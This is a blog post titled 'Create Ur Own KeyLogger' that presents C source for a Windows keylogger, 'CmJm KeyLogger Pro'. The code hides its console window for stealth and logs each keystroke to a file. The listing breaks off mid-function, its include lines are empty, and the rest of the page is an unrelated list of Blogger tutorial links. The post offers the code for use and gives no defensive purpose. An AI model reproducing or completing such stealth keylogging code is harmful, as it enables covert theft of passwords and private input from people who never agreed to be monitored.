Create Ur Own KeyLogger
#include
#include
#include
#include
/*
Name: CmJm KeyLogger Pro
Copyright: 2005
Author: Jesse Mcdermitt
Date: 16/10/05 21:59
Description: Gets input from the keyboard and then writes it to the file
*/
void keys(int key,char *file)
{
//-------------------------------------------------
HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
//-------------------------------------------------
int x,y;
int pPoint;
FILE *ffp;
ffp = fopen(file,"a+");
//if input = numpad numbers then it writes it to the file
if (key == VK_NUMPAD0)
{
fprintf(ffp,"%s","[NumPad-0-Caps]");
}
if (key == VK_NUMPAD1)
{
fprintf(ffp,"%s","[NumPad-1-Caps]");
}
if (key == VK_NUMPAD2)
{
fprintf(ffp,"%s","[NumPad-2-Caps]");
}
if (key == VK_NUMPAD3)
{
fprintf(ffp,"%s","[NumPad-3-Caps]");
}
if (key == VK_NUMPAD4)
{
fprintf(ffp,"%s","[NumPad-4-Caps]");
}
if (key == VK_NUMPAD5)
{
fprintf(ffp,"%s","[NumPad-5-Caps]");
}
if (key == VK_NUMPAD6)
{
fprintf(ffp,"%s","[NumPad-6-Caps]");
}
if (key == VK_NUMPAD7)
{
fprintf(ffp,"%s","[NumPad-7-Caps]");
}
if (key == VK_NUMPAD8)
{
fprintf(ffp,"%s","[NumPad-8-Caps]");
}
if (key == VK_NUMPAD9)
{
fprintf(ffp,"%s","[NumPad-9-Caps]");
}
//end of numpad numbers with caps
//if input = keyboard functions then it prints it to the file
if (key == VK_BACK)
{
fprintf(ffp,"%s","[BACK SPACE]");
}
if (key == VK_CAPITAL)
{
fprintf(ffp,"%s","[CAPS]");
}
if (key == VK_SPACE)
{
fprintf(ffp,"%s","[Space Bar]");
}
if (key == VK_PAUSE)
{
fprintf(ffp,"%s","[PAUSE]");
}
if (key == VK_TAB)
{
fprintf(ffp,"%s","[TAB]");
}
if (key == VK_SHIFT)
{
fprintf(ffp,"%s","[Shift]");
}
if (key == VK_CONTROL)
{
fprintf(ffp,"%s","[Ctrl]");
}
if (key == VK_RETURN)
{
fprintf(ffp,"%s","[Enter]");
}
if (key == VK_ESCAPE)
{
fprintf(ffp,"%s","[Esc]");
}
if (key == VK_END)
{
fprintf(ffp,"%s","[End]");
}
if (key == VK_HOME)
{
fprintf(ffp,"%s","[Home]");
}
if (key == VK_LEFT)
{
fprintf(ffp,"%s","[Left]");
}
if (key == VK_UP)
{
fprintf(ffp,"%s","[Up]");
}
if (key == VK_RIGHT)
{
fprintf(ffp,"%s","[Right]");
}
if (key == VK_DOWN)
{
fprintf(ffp,"%s","[Down]");
}
if (key == VK_SNAPSHOT)
{
fprintf(ffp,"%s","[Print]");
}
if (key == VK_NUMLOCK)
{
fprintf(ffp,"%s","[NUM lock]");
}
if (key == VK_CLEAR)
{
fprintf(ffp,"%s","[Clear]");
}
if (key == VK_F1)
{
fprintf(ffp,"%s","[F1]");
}
if (key == VK_F2)
{
fprintf(ffp,"%s","[F2]");
}
if (key == VK_F3)
{
fprintf(ffp,"%s","[F3]");
}
if (key == VK_F4)
{
fprintf(ffp,"%s","[F4]");
}
if (key == VK_F5)
{
fprintf(ffp,"%s","[F5]");
}
if (key == VK_DIVIDE)
{
fprintf(ffp,"%s","[/]");
}
if (key == VK_CANCEL)
{
fprintf(ffp,"%s","[Ctrl - Break]");
}
if (key == VK_PRIOR)
{
fprintf(ffp,"%s","[Page Up]");
}
if (key == VK_NEXT)
{
fprintf(ffp,"%s","[Page Down]");
}
if (key == VK_MENU)
Related posts:
If you enjoyed this article, subscribe to receive more great content just like it.
0 comments for this post
Leave a reply
Write your message here.
Please leave your Email Id so that I can contact you.
Thanks for your Valuable Suggestion,
- Making a blog at blogspot
- Blog Setting
- How to backing up template
- How to backing up widgets
- How to changing template
- Make a Post Summary (Read more)
- Blog Comment send to @mail
- Adding search engine to blog
- Making a drop down menu
- Add google talk to blog (1)
- Making a News Paper Style Drop Caps
- Adding Recent Post & Recent Comments
- Adding Yahoo!Massenger icon
- Adding Google talk (2)
- Adding yahoo! Massenger Emoticons (1)
- Fix error "Widget IDs should be unique"
- Making a Table of Content
- Adding shoutbox
- Adding user online tracker
- Adding Statistic & tracker
- Adding digg button to post page
- Upload image to image hosting
- Making a Logo and image button
- Adding Favicon to URL address
- Adding a Clock to blog
- Removing the number of label